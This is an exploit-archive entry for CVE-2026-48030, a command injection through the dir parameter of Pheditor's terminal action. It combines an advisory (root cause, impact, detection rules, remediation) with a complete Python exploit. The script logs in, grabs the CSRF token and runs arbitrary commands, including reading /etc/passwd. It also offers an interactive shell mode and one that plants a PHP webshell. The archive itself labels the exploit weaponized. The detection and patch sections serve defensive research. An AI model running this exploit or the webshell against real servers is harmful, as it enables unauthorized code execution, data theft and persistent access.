PoC Archive PoC Archive
CVE-2026-48030 category: web CVSS 9.9 (CRITICAL)
Patched

Pheditor Terminal Handler OS Command Injection to RCE (CVE-2026-48030)

Published: 2026-11-27 • Researcher: Muslimbek Burxonov (GitHub: muslimbek-0x, commit author muslimbekburxonov)

Target software Pheditor, a single-file PHP editor and file manager by Hamid Samak
Affected versions 2.0.1 through 2.0.3 (NVD: from 2.0.1 to before 2.0.4); fixed in 2.0.4
Status Weaponized (complete authenticated exploit that injects through the dir parameter, reads command output and confirms execution with the uid string; no successful run is published in the repository)
Severity Critical · CVSS 9.9
CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-48030
Category
web
Affected product
Pheditor, a single-file PHP editor and file manager by Hamid Samak
Affected versions
2.0.1 through 2.0.3 (NVD: from 2.0.1 to before 2.0.4); fixed in 2.0.4
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-05-28 (upstream commit b101fe588fd66611f983751a01c404e90d941233, “CVE-2026-48030: OS Command Injection in pheditor terminal handler”)
Author / ResearcherMuslimbek Burxonov (GitHub: muslimbek-0x, commit author muslimbekburxonov)
CVE / AdvisoryCVE-2026-48030
Categoryweb
SeverityCritical
CVSS Score9.9 (CVSSv3.1, AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, NVD record)
StatusWeaponized (complete authenticated exploit that injects through the dir parameter, reads command output and confirms execution with the uid string; no successful run is published in the repository)
Tagspheditor, php, command-injection, terminal, whitelist-bypass, authenticated, rce, webshell, cwe-78
RelatedN/A

Affected Target

FieldValue
Software / SystemPheditor, a single-file PHP editor and file manager by Hamid Samak
Versions Affected2.0.1 through 2.0.3 (NVD: from 2.0.1 to before 2.0.4); fixed in 2.0.4
Language / PlatformPHP web application served by Apache, nginx with PHP-FPM, or the PHP built-in server; the archived PoC is Python 3
Authentication RequiredYes — the Pheditor password, which by default is a single shared password and falls back to admin in the script
Network Access RequiredYes — HTTP/HTTPS access to pheditor.php

Summary

Pheditor’s terminal action builds a shell command by prefixing the attacker-supplied dir parameter to the requested terminal command and passing the result to the shell execution function. The handler screens the command parameter for metacharacters but never screens dir, so a value such as /tmp; id # closes the intended cd and runs arbitrary commands of the attacker’s choosing. Because the injected command runs alongside a permitted whitelisted command, the terminal command allowlist provides no protection, and an authenticated user gains remote code execution with the web server account. The published exploit logs in, extracts the CSRF token, injects through dir, parses the command output and confirms success by looking for the uid string.

Vulnerability Details

Root Cause

In the terminal action handler of pheditor.php the request parameters are used as follows (line 586 in the vulnerable builds):

PHP
1
2
3
4
5
6
7
$command = $_POST['command'];  // checked for & ; ||
$dir     = $_POST['dir'];      // NOT checked

$output = shell_exec(
    (empty($dir) ? null : 'cd ' . $dir . ' && ')
    . $command . ' && echo \ ; pwd'
);

The metacharacter filter covers command only, and it is applied before the allowlist check of TERMINAL_COMMANDS. dir is concatenated into the string with no escaping, so shell metacharacters in dir terminate the cd and start a new command. This is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The upstream fix wraps dir in escapeshellarg().

Attack Vector

An authenticated POST to the Pheditor endpoint with the session cookie obtained from the password login, a valid CSRF token and the terminal action:

Output
action=terminal
token=<token from the page>
command=ls
dir=/tmp; <attacker command> #

The # comments out the trailing && echo ; pwd that the handler appends, so only the attacker command runs. No administrator account, second factor or interaction is needed beyond the single Pheditor password.

Impact

Remote code execution as the web server user (www-data, apache or similar). An attacker can read and modify every file the web server can reach, exfiltrate configuration and credentials, write a PHP webshell into the document root for persistent access, pivot to the database, and use the host as a foothold in the internal network. Pheditor is often deployed with a weak or default password and exposed directly, which raises the practical impact well beyond the stated privileges-required metric.

Environment / Lab Setup

Output
OS:          Linux with PHP 7.4 or 8.x; any attacker host
Target:      pheditor 2.0.1, 2.0.2 or 2.0.3 (single pheditor.php file)
Attacker:    Python 3 with requests
Tools:       php -S or Apache/PHP-FPM, requests, curl

Setup Steps

Shell script
1
2
3
4
5
git clone https://github.com/pheditor/pheditor.git pheditor-lab
cd pheditor-lab && git checkout 2.0.3
mkdir -p /srv/pheditor && cp pheditor.php /srv/pheditor/

php -S 0.0.0.0:8080 -t /srv/pheditor

The script assumes the endpoint is http://TARGET/pheditor.php and defaults the password to admin; pass the real one with --password. For a webshell test the web server must own a writable document root, which is the normal deployment.

Proof of Concept

Step-by-Step Reproduction

  1. Install the dependency — only requests is required.

    Shell script
    1
    
    python3 -m pip install requests
  2. Check the vulnerability — the script logs in, fetches the token and injects id through dir, then looks for uid= in the output.

    Shell script
    1
    
    python3 poc.py --target http://127.0.0.1:8080/pheditor.php --password admin
  3. Run a specific command — pass it with --cmd.

    Shell script
    1
    2
    
    python3 poc.py --target http://127.0.0.1:8080/pheditor.php \
        --password admin --cmd 'cat /etc/passwd'
  4. Open an interactive shell or drop a webshell — both modes reuse the same injection primitive.

    Shell script
    1
    2
    3
    
    python3 poc.py --target http://127.0.0.1:8080/pheditor.php --password admin --shell
    python3 poc.py --target http://127.0.0.1:8080/pheditor.php \
        --password admin --webshell /var/www/html

Exploit Code

See poc.py in this folder. The upstream README is upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
injection = f"/tmp; {command} #"
data = {
    "action": "terminal",
    "token": token,
    "command": "ls",
    "dir": injection,
}
resp = session.post(target, data=data, verify=False, timeout=15)
result = resp.json()
output = result.get("dir") or result.get("result") or ""

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗
...
CVE-2026-48030 | OS Command Injection | Pheditor <= 2.0.3
Author: Muslimbek Burxonov

[*] Target: http://127.0.0.1:8080/pheditor.php
[*] Parol:  admin

[+] Login: OK
[+] CSRF Token: 3f9c2a1b7d4e6f80...
[*] Zaiflik tekshirilmoqda...
[+] ZAIFLIK TASDIQLANDI: uid=33(www-data) gid=33(www-data) groups=33(www-data)

ZAIFLIK TASDIQLANDI is Uzbek for “vulnerability confirmed”; the remaining Uzbek strings are progress and error messages and do not affect the exploit. On a patched build the uid check fails and the script exits with [-] Zaiflik topilmadi — patch qo'llangan bo'lishi mumkin (“vulnerability not found — the patch may be applied”).

Detection & Indicators of Compromise

Output
POST /pheditor.php  action=terminal  and a dir value containing ; & | ` $ ( ) or #
POST /pheditor.php  with command=ls and an unusual dir such as /tmp; id #

PHP-FPM or Apache children spawning /bin/sh -c with "cd <dir> && ls"
New PHP files in the document root (for example shell.php) owned by the web user
Unexpected outbound connections from the web server
Reads of /etc/passwd, .env, config.php or SSH material by the web user

Because the request otherwise looks like a legitimate terminal call, profile the dir value rather than the action alone. Also alert on the fixed webshell name and on any new executable content under the document root.

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2026-48030 Pheditor terminal dir injection"; flow:to_server,established; content:"action=terminal"; http_client_body; content:"dir="; http_client_body; pcre:"/dir=[^&]*%3[Bb]|dir=[^&]*[;#`]/"; sid:90480300; rev:1;)

Remediation

ActionDetail
PatchUpgrade Pheditor to 2.0.4 or later; the fix applies escapeshellarg() to the dir value before it reaches shell_exec.
WorkaroundRemove or disable the terminal action if it is not needed, place Pheditor behind a VPN or an authenticated reverse proxy, and do not expose it to the internet.
Config HardeningSet a long unique Pheditor password, serve the file over HTTPS only, run PHP with the least privilege and an open_basedir restriction, make the document root read-only for the web user where possible, and monitor the tree for new PHP files.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/muslimbek-0x/CVE-2026-48030 (no stars at review time, one Python script plus a README).

Review verdict: ingested as Weaponized. It is a genuine end-to-end exploit, not a detector: it authenticates with the real Pheditor password form, scrapes the CSRF token from the page, sends the terminal action with a whitelisted command and a malicious dir, parses the JSON response and verifies code execution from the uid= string. It contains no C2, persistence, evasion, keylogging, mining or credential-stealing modules; the optional webshell helper writes a single one-line PHP command shell, which is a standard post-exploitation proof for this class of bug rather than a general framework.

Limitations: the repository publishes no transcript of a successful run, so Weaponized reflects the completeness of the implemented chain rather than observed output. The webshell helper is itself defective: shell_code contains single quotes around c, and the command wraps it in single quotes (echo '<php code>' > shell.php), which breaks shell quoting; the code has to be rewritten without embedded single quotes (or base64-encoded) to work. The interactive shell re-fetches a token for every command. The token regex assumes the token is lowercase hex, and the login flow assumes the default single-password mode. The target must be able to write to the supplied webroot for the webshell mode. No exploit code was executed while preparing this entry.

License: the repository declares no LICENSE file, so copyright remains with the author and no reuse rights are granted. The archived script keeps the original attribution and adds only a short research-use header; the upstream README is copied verbatim as upstream-README.md.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/muslimbek-0x/CVE-2026-48030 (see README for attribution/license)
# Author: Muslimbek Burxonov

"""
CVE-2026-48030 - OS Command Injection in Pheditor
Affected: pheditor <= 2.0.3
Fixed:    pheditor >= 2.0.4
Author:   Muslimbek Burxonov
"""

import argparse
import re
import sys
import requests

requests.packages.urllib3.disable_warnings()


BANNER = """
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗ ╚════██╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ ╚════██╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝      ██╔╝
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗ █████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚════╝

CVE-2026-48030 | OS Command Injection | Pheditor <= 2.0.3
Author: Muslimbek Burxonov
"""


def get_token(session, target):
    resp = session.get(target, verify=False, timeout=10)
    match = re.search(r'token = "([a-f0-9]+)"', resp.text)
    if not match:
        print("[-] Token olinmadi — login muvaffaqiyatsiz")
        sys.exit(1)
    return match.group(1)


def login(session, target, password):
    resp = session.post(
        target,
        data={"pheditor_password": password},
        allow_redirects=True,
        verify=False,
        timeout=10
    )
    if 'token = "' not in resp.text:
        print("[-] Login muvaffaqiyatsiz — parol noto'g'ri")
        sys.exit(1)
    print("[+] Login: OK")


def execute(session, target, token, command):
    injection = f"/tmp; {command} #"
    data = {
        "action": "terminal",
        "token": token,
        "command": "ls",
        "dir": injection
    }
    resp = session.post(target, data=data, verify=False, timeout=15)
    try:
        result = resp.json()
        output = result.get("dir") or result.get("result") or ""
        return output.strip()
    except Exception:
        return ""


def check_vulnerability(session, target, token):
    print("[*] Zaiflik tekshirilmoqda...")
    output = execute(session, target, token, "id")
    if "uid=" in output:
        print(f"[+] ZAIFLIK TASDIQLANDI: {output}")
        return True
    print("[-] Zaiflik topilmadi — patch qo'llangan bo'lishi mumkin")
    return False


def interactive_shell(session, target):
    print("\n[+] Interactive shell — 'exit' yozing chiqish uchun\n")
    while True:
        try:
            cmd = input("pheditor$ ").strip()
            if not cmd:
                continue
            if cmd.lower() == "exit":
                print("[*] Chiqilmoqda...")
                break
            token = get_token(session, target)
            output = execute(session, target, token, cmd)
            print(output if output else "(bo'sh natija)")
        except KeyboardInterrupt:
            print("\n[*] Chiqilmoqda...")
            break


def deploy_webshell(session, target, token, webroot):
    print(f"[*] Webshell joylashtirilmoqda: {webroot}/shell.php")
    shell_code = "<?php system($_GET['c']);?>"
    cmd = f"echo '{shell_code}' > {webroot}/shell.php"
    execute(session, target, token, cmd)

    shell_url = target.rsplit("/", 1)[0] + "/shell.php"
    resp = session.get(f"{shell_url}?c=id", verify=False, timeout=10)
    if "uid=" in resp.text:
        print(f"[+] Webshell muvaffaqiyatli joylashtirildi!")
        print(f"[+] URL: {shell_url}?c=COMMAND")
        print(f"[+] Test: {resp.text.strip()}")
    else:
        print("[-] Webshell joylashtirilmadi")


def main():
    print(BANNER)

    parser = argparse.ArgumentParser(
        description="CVE-2026-48030 PoC — Pheditor OS Command Injection"
    )
    parser.add_argument("--target", required=True,
                        help="Target URL (e.g. http://target/pheditor.php)")
    parser.add_argument("--password", default="admin",
                        help="Pheditor password (default: admin)")
    parser.add_argument("--cmd",
                        help="Bajarish uchun bitta buyruq")
    parser.add_argument("--webshell",
                        help="Webshell uchun webroot yo'li (e.g. /var/www/html)")
    parser.add_argument("--shell", action="store_true",
                        help="Interactive shell oching")
    args = parser.parse_args()

    session = requests.Session()
    session.headers.update({"User-Agent": "Mozilla/5.0"})

    print(f"[*] Target: {args.target}")
    print(f"[*] Parol:  {args.password}\n")

    # Login
    login(session, args.target, args.password)

    # Token
    token = get_token(session, args.target)
    print(f"[+] CSRF Token: {token[:16]}...")

    # Zaiflik tekshirish
    if not check_vulnerability(session, args.target, token):
        sys.exit(1)

    # Rejim tanlash
    if args.cmd:
        token = get_token(session, args.target)
        output = execute(session, args.target, token, args.cmd)
        print(f"\n[+] Natija:\n{output}")

    elif args.webshell:
        token = get_token(session, args.target)
        deploy_webshell(session, args.target, token, args.webshell)

    elif args.shell:
        interactive_shell(session, args.target)

    else:
        print("\n[*] Qo'shimcha flaglar:")
        print("    --cmd 'whoami'           — bitta buyruq")
        print("    --shell                  — interactive shell")
        print("    --webshell /var/www/html — webshell joylashtirish")


if __name__ == "__main__":
    main()